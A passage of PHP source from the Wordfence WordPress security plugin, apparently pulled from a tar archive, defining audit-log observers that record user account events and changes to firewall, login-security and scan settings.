Deleted', 'wordfence'), self::USER_APP_PASSWORD_ACCEPTED => __('App Password Accepted', 'wordfence'), self::USER_LOGGED_IN => __('User Logged In', 'wordfence'), self::USER_LOGGED_OUT => __('User Logged Out', 'wordfence'), self::USER_AUTH_COOKIE_SET => __('Auth Cookie Set', 'wordfence'), self::USER_PASSWORD_RESET => __('Password Reset', 'wordfence'), self::USER_ROLE_ADDED => __('Role Added to User', 'wordfence'), self::USER_ROLE_REMOVED => __('Role Removed from User', 'wordfence'), self::USER_META_CAPABILITIES => __('User Capabilities Meta Value Changed', 'wordfence'), self::USER_META_LEVEL => __('User Level Meta Value Changed', 'wordfence'), self::USER_STATUS_HAM => __('User Unmarked as Spam', 'wordfence'), self::USER_STATUS_SPAM => __('User Marked as Spam', 'wordfence'), ); } public static function eventRateLimiters() { return array(); } /** * Registers the observers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerObservers($auditLog) { $auditLog->_addObserver('init', function() use ($auditLog) { self::$initialUserID = get_current_user_id(); }); $auditLog->_addObserver('user_register', function($user_id, $userdata = null /* added WP 5.8.0 */) use ($auditLog) { //User created $auditLog->_recordAction(self::USER_CREATED, $auditLog->_sanitizeUserdata($userdata, $user_id)); }); $auditLog->_addObserver('profile_update', function($user_id, $old_user_data, $userdata = null /* added WP 5.8.0 */) use ($auditLog) { //User edited if ($userdata === null && $user_id !== null) { //May hit this on older WP versions where $userdata wasn't populated by the hook call $userdata = get_user_by('ID', $user_id); } $changes = array_keys($auditLog->_userdataDiff($old_user_data, $userdata)); if (empty($changes)) { //No actual changes to the record itself, just to usermeta so skip this entry return; } $auditLog->_recordAction(self::USER_UPDATED, array_merge(array( 'changed' => $changes, ), $auditLog->_sanitizeUserdata($userdata, $user_id))); }); $auditLog->_addObserver('rest_insert_user', function($user, $request, $creating) use ($auditLog) { //User created/updated via REST API, userdata already populated $auditLog->_recordAction($creating ? self::USER_CREATED : self::USER_UPDATED, array( 'source' => 'REST', ), true); }); $auditLog->_addObserver('deleted_user', function($user_id, $reassign_id) use ($auditLog) { //User deleted if ($auditLog->_hasState('delete_user.user')) { $auditLog->_recordAction(self::USER_DELETED, array_merge(array( 'reassigned' => $reassign_id, ), $auditLog->_sanitizeUserdata($auditLog->_getState('delete_user.user'), $user_id))); } }); $auditLog->_addObserver('rest_delete_user', function($user, $response, $request) use ($auditLog) { //User deleted via REST API, userdata already populated $auditLog->_recordAction(self::USER_DELETED, array( 'source' => 'REST', ), true); }); $auditLog->_addObserver('wp_login', function($user_login, $user) use ($auditLog) { //User logged in $auditLog->_recordAction(self::USER_LOGGED_IN, $auditLog->_sanitizeUserdata($user)); }); $auditLog->_addObserver('wp_logout', function($user_id = 0) use ($auditLog) { //User logged out if ($user_id == 0) { $user_id = self::$initialUserID; } $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::USER_LOGGED_OUT, $auditLog->_sanitizeUserdata($user)); }); $auditLog->_addObserver('after_password_reset', function($user, $new_pass) use ($auditLog) { //User password reset $auditLog->_recordAction(self::USER_PASSWORD_RESET, $auditLog->_sanitizeUserdata($user)); }); $auditLog->_addObserver('set_auth_cookie', function($auth_cookie, $expire, $expiration, $user_id, $scheme) use ($auditLog) { //Auth cookie set $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::USER_AUTH_COOKIE_SET, array( 'grace_expiration' => $expire, 'expiration' => $expiration, 'scheme' => $scheme, 'user' => $auditLog->_sanitizeUserdata($user), )); }); $auditLog->_addObserver('add_user_role', function($user_id, $new_role) use ($auditLog) { //User role assigned $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::USER_ROLE_ADDED, array_merge(array( 'role_added' => $new_role, ), $auditLog->_sanitizeUserdata($user))); }); $auditLog->_addObserver('remove_user_role', function($user_id, $removed_role) use ($auditLog) { //User role assigned $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::USER_ROLE_REMOVED, array_merge(array( 'role_removed' => $removed_role, ), $auditLog->_sanitizeUserdata($user))); }); $auditLog->_addObserver('make_spam_user', function($user_id) use ($auditLog) { //User marked as spam $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::USER_STATUS_SPAM, $auditLog->_sanitizeUserdata($user)); }); $auditLog->_addObserver('make_ham_user', function($user_id) use ($auditLog) { //User unmarked as spam $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::USER_STATUS_HAM, $auditLog->_sanitizeUserdata($user)); }); $auditLog->_addObserver('wp_create_application_password', function($user_id, $new_item, $new_password, $args) use ($auditLog) { //User application password created $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::USER_APP_PASSWORD_CREATED, array_merge($auditLog->_sanitizeAppPassword($new_item), $auditLog->_sanitizeUserdata($user))); }); $auditLog->_addObserver('wp_delete_application_password', function($user_id, $item) use ($auditLog) { //User application password deleted $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::USER_APP_PASSWORD_DELETED, array_merge($auditLog->_sanitizeAppPassword($item), $auditLog->_sanitizeUserdata($user))); }); } /** * Registers the data gatherers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerDataGatherers($auditLog) { $auditLog->_addObserver('delete_user', function($user_id, $reassign_id) use ($auditLog) { //About to delete user $user = get_user_by('ID', $user_id); $auditLog->_trackState('delete_user.user', $user); }); $auditLog->_addObserver('update_user_meta', function($meta_id, $object_id, $meta_key, $meta_value) use ($auditLog) { //Update user meta $suffixes = array('capabilities', 'user_level'); //will be , e.g., typically `wp_capabilities` but not always $match = false; foreach ($suffixes as $s) { if (preg_match('/' . preg_quote($s) . '$/i', $meta_key)) { $match = true; break; } } if (!$match) { return; } if (!$auditLog->_hasState('update_user_meta.old', $object_id)) { $auditLog->_trackState('update_user_meta.old', array(), $object_id); } $old = array(); if ($auditLog->_hasState('update_user_meta.old', $object_id)) { $old = $auditLog->_getState('update_user_meta.old', $object_id); } if (!isset($old[$meta_key])) { $old[$meta_key] = get_user_meta($object_id, $meta_key, true); $auditLog->_trackState('update_user_meta.old', $old, $object_id); } if (!$auditLog->_hasState('update_user_meta.new', $object_id)) { $auditLog->_trackState('update_user_meta.new', array(), $object_id); } $new = $auditLog->_getState('update_user_meta.new', $object_id); $new[$meta_key] = $meta_value; $auditLog->_trackState('update_user_meta.new', $new, $object_id); $auditLog->_needsDestruct(); }); $auditLog->_addObserver('application_password_did_authenticate', function($user, $item) use ($auditLog) { //User application password authenticated //We can't record this directly because wp_get_current_user re-authenticates everything when called later, causing an infinite loop if (!$auditLog->isFinalizing() && !empty($item['uuid'])) { $auditLog->_trackState('application_password_did_authenticate.items', array('user' => $user, 'item' => $item), $item['uuid']); $auditLog->_needsDestruct(); } }); } /** * Registers the coalescers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerCoalescers($auditLog) { $auditLog->_addCoalescer(function() use ($auditLog) { //User meta changed, specific key patterns only $old = $auditLog->_getAllStates('update_user_meta.old'); if (!is_array($old) || !count($old)) { return; } $payload = array(); foreach ($old as $user_id => $meta) { $user = get_user_by('ID', $user_id); $new = $auditLog->_getState('update_user_meta.new', $user_id); foreach ($meta as $key => $old_value) { $new_value = $new[$key]; $event = null; if (preg_match('/capabilities$/i', $key)) { $event = self::USER_META_CAPABILITIES; } else if (preg_match('/user_level$/i', $key)) { $event = self::USER_META_LEVEL; } if ($event) { if (!isset($payload[$event])) { $payload[$event] = array(); } if (!isset($payload[$event][$user_id])) { $payload[$event][$user_id] = array('user' => $auditLog->_sanitizeUserdata($user), 'changes' => array()); } if (is_array($old_value) && is_array($new_value)) { $diff = wfUtils::array_diff($old_value, $new_value); if (empty($diff['added']) && empty($diff['removed'])) { continue; } } else { $diff = array('before' => $old_value, 'after' => $new_value); if ($diff['before'] == $diff['after']) { continue; } } $payload[$event][$user_id]['changes'][] = array('key' => $key, 'diff' => $diff); } } } foreach ($payload as $event => $data) { $auditLog->_recordAction($event, array_values($data)); } }); $auditLog->_addCoalescer(function() use ($auditLog) { //App password authentications $items = $auditLog->_getAllStates('application_password_did_authenticate.items'); foreach ($items as $uuid => $payload) { $auditLog->_recordAction(self::USER_APP_PASSWORD_ACCEPTED, array_merge($auditLog->_sanitizeAppPassword($payload['item']), $auditLog->_sanitizeUserdata($payload['user']))); } }); } }audit-log/wfAuditLogObserversWordfence.php000064400000101135147206764270014757 0ustar00 array( self::WORDFENCE_IGNORED_ALERT_IPS_UPDATED, self::WORDFENCE_PREVENT_ADMIN_USERNAME_TOGGLED, self::WORDFENCE_CUSTOM_BLOCK_TEXT_UPDATED, self::WORDFENCE_SCAN_OPTIONS_UPDATED, self::WORDFENCE_SCAN_SCHEDULE_UPDATED, self::WORDFENCE_PARTICIPATE_SECURITY_NETWORK_TOGGLED, self::WORDFENCE_AUDIT_LOG_MODE_CHANGED, self::WORDFENCE_LICENSE_KEY_CHANGED, self::WORDFENCE_IP_SOURCE_CHANGED, self::WORDFENCE_TRUSTED_PROXIES_UPDATED, self::WORDFENCE_TRUSTED_PROXY_PRESET_CHANGED, self::WORDFENCE_LS_IP_SOURCE_CHANGED, self::WORDFENCE_LS_TRUSTED_PROXIES_UPDATED, self::WORDFENCE_LS_WOOCOMMERCE_INTEGRATION_TOGGLED, ), wfAuditLog::AUDIT_LOG_CATEGORY_AUTHENTICATION => array( self::WORDFENCE_LS_2FA_DEACTIVATED, self::WORDFENCE_LS_2FA_ACTIVATED, self::WORDFENCE_ENFORCE_STRONG_PASSWORDS_TOGGLED, self::WORDFENCE_MASK_LOGIN_ERRORS_TOGGLED, self::WORDFENCE_PREVENT_APPLICATION_PASSWORDS_TOGGLED, self::WORDFENCE_CHANGE_PASSWORD_CHECK_STRENGTH_TOGGLED, self::WORDFENCE_LS_XML_RPC_REQUIRES_2FA_TOGGLED, self::WORDFENCE_LS_ALLOWED_IPS_UPDATED, self::WORDFENCE_LS_2FA_REQUIRED_CHANGED, self::WORDFENCE_LS_2FA_GRACE_PERIOD_CHANGED, ), wfAuditLog::AUDIT_LOG_CATEGORY_FIREWALL => array( self::WORDFENCE_WAF_MODE_CHANGED, self::WORDFENCE_WAF_RULE_STATUS_CHANGED, self::WORDFENCE_WAF_PROTECTION_LEVEL_CHANGED, self::WORDFENCE_WAF_ALLOW_ENTRY_CREATED, self::WORDFENCE_WAF_ALLOW_ENTRY_DELETED, self::WORDFENCE_WAF_ALLOW_ENTRY_TOGGLED, self::WORDFENCE_WAF_BLOCKLIST_TOGGLED, self::WORDFENCE_ALLOWED_IPS_UPDATED, self::WORDFENCE_ALLOWED_SERVICES_UPDATED, self::WORDFENCE_ALLOWED_404S_UPDATED, self::WORDFENCE_BANNED_URLS_UPDATED, self::WORDFENCE_BANNED_USERNAMES_UPDATED, self::WORDFENCE_BRUTE_FORCE_TOGGLED, self::WORDFENCE_GENERAL_RATE_LIMITING_BLOCKING_TOGGLED, self::WORDFENCE_NEVER_BLOCK_CRAWLERS_CHANGED, self::WORDFENCE_LOCKOUT_INVALID_TOGGLED, self::WORDFENCE_BREACHED_PASSWORDS_TOGGLED, self::WORDFENCE_BLOCK_AUTHOR_SCAN_TOGGLED, self::WORDFENCE_BLOCK_BAD_POST_TOGGLED, self::WORDFENCE_LOGIN_FAILURE_COUNT_UPDATED, self::WORDFENCE_FORGOT_PASSWORD_COUNT_UPDATED, self::WORDFENCE_LOGIN_SECURITY_PERIOD_UPDATED, self::WORDFENCE_LOGIN_SECURITY_DURATION_UPDATED, self::WORDFENCE_BLOCK_DURATION_UPDATED, self::WORDFENCE_RATE_LIMITS_GLOBAL_UPDATED, self::WORDFENCE_RATE_LIMITS_CRAWLER_UPDATED, self::WORDFENCE_RATE_LIMITS_CRAWLER_404_UPDATED, self::WORDFENCE_RATE_LIMITS_HUMAN_UPDATED, self::WORDFENCE_RATE_LIMITS_HUMAN_404_UPDATED, self::WORDFENCE_BLOCKING_COUNTRY_UPDATED, self::WORDFENCE_BLOCKING_IP_PATTERN_CREATED, self::WORDFENCE_BLOCKING_DELETED, self::WORDFENCE_LS_XML_RPC_TOGGLED, self::WORDFENCE_LS_CAPTCHA_TOGGLED, self::WORDFENCE_LS_CAPTCHA_THRESHOLD_CHANGED, self::WORDFENCE_LS_CAPTCHA_TEST_MODE_TOGGLED, ), ); } public static function eventNames() { return array( self::WORDFENCE_WAF_MODE_CHANGED => __('Wordfence WAF Mode Changed', 'wordfence'), self::WORDFENCE_WAF_RULE_STATUS_CHANGED => __('Wordfence WAF Rule Status Changed', 'wordfence'), self::WORDFENCE_WAF_PROTECTION_LEVEL_CHANGED => __('Wordfence WAF Protection Level Changed', 'wordfence'), self::WORDFENCE_WAF_ALLOW_ENTRY_CREATED => __('Wordfence WAF Allow Entry Created', 'wordfence'), self::WORDFENCE_WAF_ALLOW_ENTRY_DELETED => __('Wordfence WAF Allow Entry Deleted', 'wordfence'), self::WORDFENCE_WAF_ALLOW_ENTRY_TOGGLED => __('Wordfence WAF Allow Entry Toggled', 'wordfence'), self::WORDFENCE_WAF_BLOCKLIST_TOGGLED => __('Wordfence WAF Blocklist Toggled', 'wordfence'), self::WORDFENCE_ALLOWED_IPS_UPDATED => __('Allowlisted IPs Updated', 'wordfence'), self::WORDFENCE_ALLOWED_SERVICES_UPDATED => __('Allowlisted Services Updated', 'wordfence'), self::WORDFENCE_ALLOWED_404S_UPDATED => __('Allowed 404s Updated', 'wordfence'), self::WORDFENCE_IGNORED_ALERT_IPS_UPDATED => __('Ignored Alert IPs Updated', 'wordfence'), self::WORDFENCE_BANNED_URLS_UPDATED => __('Banned URLs Updated', 'wordfence'), self::WORDFENCE_BANNED_USERNAMES_UPDATED => __('Banned Usernames Updated', 'wordfence'), self::WORDFENCE_BRUTE_FORCE_TOGGLED => __('Brute Force Protection Toggled', 'wordfence'), self::WORDFENCE_GENERAL_RATE_LIMITING_BLOCKING_TOGGLED => __('General Blocking and Rate Limiting Toggled', 'wordfence'), self::WORDFENCE_NEVER_BLOCK_CRAWLERS_CHANGED => __('Never Block Crawlers Toggled', 'wordfence'), self::WORDFENCE_LOCKOUT_INVALID_TOGGLED => __('Lockout Invalid Users Toggled', 'wordfence'), self::WORDFENCE_BREACHED_PASSWORDS_TOGGLED => __('Prevent Use of Breached Passwords Toggled', 'wordfence'), self::WORDFENCE_ENFORCE_STRONG_PASSWORDS_TOGGLED => __('Enforce Strong Passwords Toggled', 'wordfence'), self::WORDFENCE_MASK_LOGIN_ERRORS_TOGGLED => __('Mask Login Errors Toggled', 'wordfence'), self::WORDFENCE_PREVENT_ADMIN_USERNAME_TOGGLED => __('Prevent Using "admin" Username Toggled', 'wordfence'), self::WORDFENCE_BLOCK_AUTHOR_SCAN_TOGGLED => __('Block Author Scanning Toggled', 'wordfence'), self::WORDFENCE_PREVENT_APPLICATION_PASSWORDS_TOGGLED => __('Prevent Use of Application Passwords Toggled', 'wordfence'), self::WORDFENCE_BLOCK_BAD_POST_TOGGLED => __('Block Bad POST Requests Toggled', 'wordfence'), self::WORDFENCE_CHANGE_PASSWORD_CHECK_STRENGTH_TOGGLED => __('Check Password Strength on Reset Toggled', 'wordfence'), self::WORDFENCE_LOGIN_FAILURE_COUNT_UPDATED => __('Failed Login Failure Threshold Updated', 'wordfence'), self::WORDFENCE_FORGOT_PASSWORD_COUNT_UPDATED => __('Forgot Password Threshold Updated', 'wordfence'), self::WORDFENCE_LOGIN_SECURITY_PERIOD_UPDATED => __('Login Security Counting Period Updated', 'wordfence'), self::WORDFENCE_LOGIN_SECURITY_DURATION_UPDATED => __('Login Security Lockout Threshold Updated', 'wordfence'), self::WORDFENCE_BLOCK_DURATION_UPDATED => __('Automatic Block Duration Updated', 'wordfence'), self::WORDFENCE_CUSTOM_BLOCK_TEXT_UPDATED => __('Custom Block Text Updated', 'wordfence'), self::WORDFENCE_RATE_LIMITS_GLOBAL_UPDATED => __('Global Rate Limit Settings Updated', 'wordfence'), self::WORDFENCE_RATE_LIMITS_CRAWLER_UPDATED => __('Crawler Rate Limit Settings Updated', 'wordfence'), self::WORDFENCE_RATE_LIMITS_CRAWLER_404_UPDATED => __('Crawler 404 Rate Limit Settings Updated', 'wordfence'), self::WORDFENCE_RATE_LIMITS_HUMAN_UPDATED => __('Human Rate Limit Settings Updated', 'wordfence'), self::WORDFENCE_RATE_LIMITS_HUMAN_404_UPDATED => __('Human 404 Rate Limit Settings Updated', 'wordfence'), self::WORDFENCE_SCAN_OPTIONS_UPDATED => __('Scan Options Updated', 'wordfence'), self::WORDFENCE_SCAN_SCHEDULE_UPDATED => __('Scan Schedule Updated', 'wordfence'), self::WORDFENCE_BLOCKING_COUNTRY_UPDATED => __('Country Blocking Updated', 'wordfence'), self::WORDFENCE_BLOCKING_IP_PATTERN_CREATED => __('Manual Block Created', 'wordfence'), self::WORDFENCE_BLOCKING_DELETED => __('Block Deleted', 'wordfence'), self::WORDFENCE_PARTICIPATE_SECURITY_NETWORK_TOGGLED => __('Participate in the Wordfence Security Network Toggled', 'wordfence'), self::WORDFENCE_AUDIT_LOG_MODE_CHANGED => __('Audit Log Mode Changed', 'wordfence'), self::WORDFENCE_LICENSE_KEY_CHANGED => __('License Key Changed', 'wordfence'), self::WORDFENCE_IP_SOURCE_CHANGED => __('IP Source Changed', 'wordfence'), self::WORDFENCE_TRUSTED_PROXIES_UPDATED => __('Trusted Proxies Updated', 'wordfence'), self::WORDFENCE_TRUSTED_PROXY_PRESET_CHANGED => __('Trusted Proxy Preset Changed', 'wordfence'), self::WORDFENCE_LS_2FA_DEACTIVATED => __('2FA Deactivated on User', 'wordfence'), self::WORDFENCE_LS_2FA_ACTIVATED => __('2FA Activated on User', 'wordfence'), self::WORDFENCE_LS_XML_RPC_REQUIRES_2FA_TOGGLED => __('XML-RPC Requires 2FA Toggled', 'wordfence'), self::WORDFENCE_LS_ALLOWED_IPS_UPDATED => __('IPs Bypassing 2FA Updated', 'wordfence'), self::WORDFENCE_LS_IP_SOURCE_CHANGED => __('IP Source Changed', 'wordfence'), self::WORDFENCE_LS_TRUSTED_PROXIES_UPDATED => __('Trusted Proxies Updated', 'wordfence'), self::WORDFENCE_LS_2FA_REQUIRED_CHANGED => __('2FA Role Requirements Changed', 'wordfence'), self::WORDFENCE_LS_2FA_GRACE_PERIOD_CHANGED => __('2FA Grace Period Changed', 'wordfence'), self::WORDFENCE_LS_XML_RPC_TOGGLED => __('XML-RPC Interface Toggled', 'wordfence'), self::WORDFENCE_LS_CAPTCHA_TOGGLED => __('Login Captcha Toggled', 'wordfence'), self::WORDFENCE_LS_CAPTCHA_THRESHOLD_CHANGED => __('reCAPTCHA Threshold Changed', 'wordfence'), self::WORDFENCE_LS_WOOCOMMERCE_INTEGRATION_TOGGLED => __('WooCommerce 2FA Integration Toggled', 'wordfence'), self::WORDFENCE_LS_CAPTCHA_TEST_MODE_TOGGLED => __('Captcha Test Mode Toggled', 'wordfence'), ); } public static function eventRateLimiters() { return array(); } /** * Registers the observers for this class's chunk of functionality that should run regardless of other settings. * These observers are expected to do their own check and application of settings like the audit log's mode or * the `Participate in the Wordfence Security Network` setting. * * @param wfAuditLog $auditLog */ protected static function _registerForcedObservers($auditLog) { if (!wfLicense::current()->isAtLeastPremium()) { return; } $auditLog->_addObserver('wordfence_changed_audit_log_mode', function($before, $after) use ($auditLog) { //Audit log mode changed, run in all modes $auditLog->_recordAction(self::WORDFENCE_AUDIT_LOG_MODE_CHANGED, array('before' => $before, 'after' => $after)); }); if ($auditLog->mode() == wfAuditLog::AUDIT_LOG_MODE_DISABLED) { return; } $auditLog->_addObserver('wordfence_toggled_participate_security_network', function($before, $after) use ($auditLog) { //Participate WFSN toggled, always send if audit log enabled $auditLog->_recordAction(self::WORDFENCE_PARTICIPATE_SECURITY_NETWORK_TOGGLED, array('state' => $after)); }); } /** * Registers the observers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerObservers($auditLog) { //WAF $auditLog->_addObserver('wordfence_waf_mode', function($before, $after) use ($auditLog) { //WAF mode setting changed $auditLog->_recordAction(self::WORDFENCE_WAF_MODE_CHANGED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_waf_changed_rule_status', function($changes) use ($auditLog) { //WAF rule mode(s) changed $auditLog->_recordAction(self::WORDFENCE_WAF_RULE_STATUS_CHANGED, $changes); }); $auditLog->_addObserver('wordfence_waf_changed_protection_level', function($before, $after) use ($auditLog) { //WAF protection level changed $auditLog->_recordAction(self::WORDFENCE_WAF_PROTECTION_LEVEL_CHANGED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_waf_created_allow_entry', function($entries) use ($auditLog) { //WAF allow entry created $auditLog->_recordAction(self::WORDFENCE_WAF_ALLOW_ENTRY_CREATED, array('added' => $entries)); }); $auditLog->_addObserver('wordfence_waf_deleted_allow_entry', function($entries) use ($auditLog) { //WAF allow entry deleted $auditLog->_recordAction(self::WORDFENCE_WAF_ALLOW_ENTRY_DELETED, array('deleted' => $entries)); }); $auditLog->_addObserver('wordfence_waf_toggled_allow_entry', function($entries) use ($auditLog) { //WAF allow entry toggled $auditLog->_recordAction(self::WORDFENCE_WAF_ALLOW_ENTRY_TOGGLED, array('toggled' => $entries)); }); $auditLog->_addObserver('wordfence_waf_toggled_blocklist', function($before, $after) use ($auditLog) { //WAF blocklist toggled on/off $auditLog->_recordAction(self::WORDFENCE_WAF_BLOCKLIST_TOGGLED, array('state' => $after)); }); //Allowed/ignored $auditLog->_addObserver('wordfence_updated_allowed_ips', function($before, $after) use ($auditLog) { //Allowed IP list changed, only care about additions $changes = wfUtils::array_diff($before, $after); if (!empty($changes['added'])) { $auditLog->_recordAction(self::WORDFENCE_ALLOWED_IPS_UPDATED, array('added' => $changes['added'])); } }); $auditLog->_addObserver('wordfence_updated_allowed_services', function($before, $after) use ($auditLog) { //Allowed services list changed, only care about additions $resolvedBefore = wfUtils::whitelistedServiceIPs($before); $resolvedAfter = wfUtils::whitelistedServiceIPs($after); $changes = wfUtils::array_diff(array_keys($resolvedBefore), array_keys($resolvedAfter)); if (!empty($changes['added'])) { $auditLog->_recordAction(self::WORDFENCE_ALLOWED_SERVICES_UPDATED, array('added' => $changes['added'])); } }); $auditLog->_addObserver('wordfence_updated_allowed_404', function($before, $after) use ($auditLog) { //Allowed 404 list changed, only care about additions $changes = wfUtils::array_diff($before, $after); if (!empty($changes['added'])) { $auditLog->_recordAction(self::WORDFENCE_ALLOWED_404S_UPDATED, array('added' => $changes['added'])); } }); $auditLog->_addObserver('wordfence_updated_ignored_alert_ips', function($before, $after) use ($auditLog) { //Ignored alert IP list changed, only care about additions $changes = wfUtils::array_diff($before, $after); if (!empty($changes['added'])) { $auditLog->_recordAction(self::WORDFENCE_IGNORED_ALERT_IPS_UPDATED, array('added' => $changes['added'])); } }); //Banned/prohibited $auditLog->_addObserver('wordfence_updated_banned_urls', function($before, $after) use ($auditLog) { //Banned URL list changed, only care about removals $changes = wfUtils::array_diff($before, $after); if (!empty($changes['removed'])) { $auditLog->_recordAction(self::WORDFENCE_BANNED_URLS_UPDATED, array('removed' => $changes['removed'])); } }); $auditLog->_addObserver('wordfence_updated_banned_usernames', function($before, $after) use ($auditLog) { //Banned username list changed, only care about removals $changes = wfUtils::array_diff($before, $after); if (!empty($changes['removed'])) { $auditLog->_recordAction(self::WORDFENCE_BANNED_USERNAMES_UPDATED, array('removed' => $changes['removed'])); } }); //General blocking/brute force $auditLog->_addObserver('wordfence_toggled_brute_force_protection', function($before, $after) use ($auditLog) { //Brute force protection toggled on/off $auditLog->_recordAction(self::WORDFENCE_BRUTE_FORCE_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_toggled_general_rate_limiting_blocking', function($before, $after) use ($auditLog) { //General rate limiting and blocking toggled on/off $auditLog->_recordAction(self::WORDFENCE_GENERAL_RATE_LIMITING_BLOCKING_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_toggled_never_block_crawlers', function($before, $after) use ($auditLog) { //Never block crawlers changed $auditLog->_recordAction(self::WORDFENCE_NEVER_BLOCK_CRAWLERS_CHANGED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_toggled_lock_out_invalid', function($before, $after) use ($auditLog) { //Lock out invalid usernames toggled on/off $auditLog->_recordAction(self::WORDFENCE_LOCKOUT_INVALID_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_toggled_breached_password_protection', function($before, $after) use ($auditLog) { //Breached password protection toggled on/off $auditLog->_recordAction(self::WORDFENCE_BREACHED_PASSWORDS_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_toggled_enforce_strong_passwords', function($before, $after) use ($auditLog) { //Enforce strong passwords toggled on/off $auditLog->_recordAction(self::WORDFENCE_ENFORCE_STRONG_PASSWORDS_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_toggled_mask_login_errors', function($before, $after) use ($auditLog) { //Mask login errors toggled on/off $auditLog->_recordAction(self::WORDFENCE_MASK_LOGIN_ERRORS_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_toggled_prevent_admin_username', function($before, $after) use ($auditLog) { //Prevent using "admin" username toggled on/off $auditLog->_recordAction(self::WORDFENCE_PREVENT_ADMIN_USERNAME_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_toggled_block_author_scan', function($before, $after) use ($auditLog) { //Block author scan toggled on/off $auditLog->_recordAction(self::WORDFENCE_BLOCK_AUTHOR_SCAN_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_toggled_prevent_application_passwords', function($before, $after) use ($auditLog) { //Prevent use of application passwords toggled on/off $auditLog->_recordAction(self::WORDFENCE_PREVENT_APPLICATION_PASSWORDS_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_toggled_block_bad_post', function($before, $after) use ($auditLog) { //Block bad POST requests toggled on/off $auditLog->_recordAction(self::WORDFENCE_BLOCK_BAD_POST_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_toggled_change_password_check_strength', function($before, $after) use ($auditLog) { //Check strength on password change toggled on/off $auditLog->_recordAction(self::WORDFENCE_CHANGE_PASSWORD_CHECK_STRENGTH_TOGGLED, array('state' => $after)); }); //Thresholds/Durations $auditLog->_addObserver('wordfence_updated_login_failure_count', function($before, $after) use ($auditLog) { //Login failure count before lockout $auditLog->_recordAction(self::WORDFENCE_LOGIN_FAILURE_COUNT_UPDATED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_updated_forgot_password_count', function($before, $after) use ($auditLog) { //Forgot password request count before lockout $auditLog->_recordAction(self::WORDFENCE_FORGOT_PASSWORD_COUNT_UPDATED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_updated_login_security_period', function($before, $after) use ($auditLog) { //Count failures over this period $auditLog->_recordAction(self::WORDFENCE_LOGIN_SECURITY_PERIOD_UPDATED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_updated_login_security_duration', function($before, $after) use ($auditLog) { //Duration of lockout $auditLog->_recordAction(self::WORDFENCE_LOGIN_SECURITY_DURATION_UPDATED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_updated_block_duration', function($before, $after) use ($auditLog) { //Rate limit block/lockout duration $auditLog->_recordAction(self::WORDFENCE_BLOCK_DURATION_UPDATED, array('before' => $before, 'after' => $after)); }); //Custom text $auditLog->_addObserver('wordfence_updated_custom_block_text', function($before, $after) use ($auditLog) { //Custom block text $auditLog->_recordAction(self::WORDFENCE_CUSTOM_BLOCK_TEXT_UPDATED, array('before' => $before, 'after' => $after)); }); //Rate limits $auditLog->_addObserver('wordfence_updated_max_global_requests', function($before, $after) use ($auditLog) { //Global rate limit $auditLog->_recordAction(self::WORDFENCE_RATE_LIMITS_GLOBAL_UPDATED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_updated_max_crawler_requests', function($before, $after) use ($auditLog) { //Crawler rate limit $auditLog->_recordAction(self::WORDFENCE_RATE_LIMITS_CRAWLER_UPDATED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_updated_max_crawler_404', function($before, $after) use ($auditLog) { //Crawler 404 rate limit $auditLog->_recordAction(self::WORDFENCE_RATE_LIMITS_CRAWLER_404_UPDATED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_updated_max_human_requests', function($before, $after) use ($auditLog) { //Human rate limit $auditLog->_recordAction(self::WORDFENCE_RATE_LIMITS_HUMAN_UPDATED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_updated_max_human_404', function($before, $after) use ($auditLog) { //Human 404 rate limit $auditLog->_recordAction(self::WORDFENCE_RATE_LIMITS_HUMAN_404_UPDATED, array('before' => $before, 'after' => $after)); }); //Scan $auditLog->_addObserver('wordfence_updated_scan_options', function($before, $after) use ($auditLog) { //Scan options $auditLog->_recordAction(self::WORDFENCE_SCAN_OPTIONS_UPDATED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_updated_scan_schedule', function($before, $after) use ($auditLog) { //Scan schedule $auditLog->_recordAction(self::WORDFENCE_SCAN_SCHEDULE_UPDATED, array('before' => $before, 'after' => $after)); }); //Custom blocking $auditLog->_addObserver('wordfence_updated_country_blocking', function($before, $after) use ($auditLog) { //Country block changed $diff = wfUtils::array_diff($before, $after); if (!empty($diff['added']) || !empty($diff['removed'])) { $auditLog->_recordAction(self::WORDFENCE_BLOCKING_COUNTRY_UPDATED, array('before' => $before, 'after' => $after)); } }); $auditLog->_addObserver('wordfence_created_ip_pattern_block', function($type, $reason, $parameters) use ($auditLog) { //IP or Pattern block created manually $auditLog->_recordAction(self::WORDFENCE_BLOCKING_IP_PATTERN_CREATED, 